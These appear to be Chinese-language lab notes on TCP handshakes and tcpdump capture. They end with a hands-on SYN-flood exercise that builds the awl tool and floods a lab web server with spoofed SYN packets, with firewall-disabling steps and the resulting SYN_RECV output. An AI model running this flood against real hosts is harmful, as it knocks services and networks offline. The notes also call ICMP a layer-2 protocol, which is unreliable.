云盾数据
- http://ssa.yundun.com/cc #云盾全球实时攻防图
TCP三次握手
TCP报文段的头部格式
- 图
- ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1
- SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYS置1,就表示这是一个连接请求或连接接受报文
- FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接
- 建立tcp 连接是的tcp三次握手
- 断开tcp 连接的四次挥手
- 三次握手过程:
Client:我可以给你发数据吗
Server:可以
Client:好的,知道了
- TCP 连接状态:
listen 侦听来自远方的TCP连接请求
syn-sent 发送请求连接后,等待匹配连接请求
syn-received 在收到和发送一个连接请求后等待对方连接请求的确认
established 代表打开一个连接
- 三次握手过程:
- 首先有client 发起请求连接,SYN=1,声明 自己序列号为seq=x;
- 然后server 进行回复确认,即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1
- 最后cilent 在进行一次确认,设置ack=y+1(相对序号)
- 四次挥手
Cilent:我要断开了哦
Server:嗯嗯
Server:我也要断开了
Client:好的,可以断开
UPD 主要是语音、视频,同时vxlan也采用UDP协议分装,主要用于构建OpenStack 私有云或者解决vlan 不够用
实战-使用tcpdump 抓包
tcpdump 常用参数
- -c 指定包个数
- -n IP 端口用数字方式显示
- -port 指定端口
- -i 指定网卡接口
- 如何产生tcp 连接?
ssh 连接
访问web 等
注意:ping 能不能产生tcp连接?
- 不能,ping 属于icmp协议,是个2层协议,而tcp 属于传输层协议–4层
tcpdmp 抓包
- 安装tcpdump 抓包工具
[root@client ~]# yum -y install tcpdump
[root@client ~]# tcpdump -n -c 3 port 22 -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 22:55:11.185792 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679612986:2679613174, ack 4290389423, win 252, length 188 22:55:11.186127 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 188, win 4104, length 0 22:55:11.186370 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 188:464, ack 1, win 252, length 276 3 packets captured 3 packets received by filter 0 packets dropped by kerne
注释:Flags --S {syn} 表示SYN标志位为1
思考:为啥ack 最后是1,而不是y+1
相对序号 +S,最后不是1
[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 23:00:48.648805 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618606:2679618794, ack 4290391935, win 252, length 188 23:00:48.649369 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679618794, win 4101, length 0 23:00:48.649661 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618794:2679619078, ack 4290391935, win 252, length 284 3 packets captured 3 packets received by filter 0 packets dropped by kernel [root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes 23:01:10.917796 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619482:2679619670, ack 4290392015, win 252, length 188 23:01:10.918335 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679619670, win 4105, length 0 23:01:10.918569 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619670:2679619954, ack 4290392015, win 252, length 284 3 packets captured 3 packets received by filter 0 packets dropped by kernel [root@client ~]#
awl -syn-洪水攻击
- 图
原理
- SYN 洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时,才能释放连接
- 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程
实战
- 上传安装包
root@localhost ~]# cd /usr/src/
[root@localhost src]# ls
awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz kernels
debug
解压、编译安装
[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz
[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #检查安装环境
[root@localhost awl-0.2]# make -j 1
[root@localhost awl-0.2]# make install
[root@localhost ~]# aw
awk awl
[root@localhost ~]# which awl #查看安装的位置
/usr/local/bin/awl
[root@localhost ~]#
- 开始攻击:
- awl 使用参数:
发送包的接口,如果省略默认是 eth 0
-m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF
全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪
-d 被攻击的主机ip
-p 被攻击的主机端口
- 配置服务端
[root@localhost ~]# yum -y install httpd
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# getenforce #关闭selinux
Disabled
[root@localhost ~]# systemctl stop firewalld #关闭防火墙
[root@localhost ~]#
[root@localhost ~]# iptables -F
[root@localhost ~]#
当我们安装好后,过滤端口,发现默认只有一个80.
[root@localhost ~]#
[root@localhost ~]# netstat -antup |grep 80
tcp6 0 0 :::80 ::: LISTEN 1412/httpd
- 客户端发起攻击
[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。
[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务
[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认
总结:
- tcp 三从握手,提供可靠连接
- udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用
- 如果编译出现以下问题:
configure: error:no acceptable C compiler found in $PATH
- 解决:
yum -y install gcc-c++
- 熟悉tcp 三次握手协议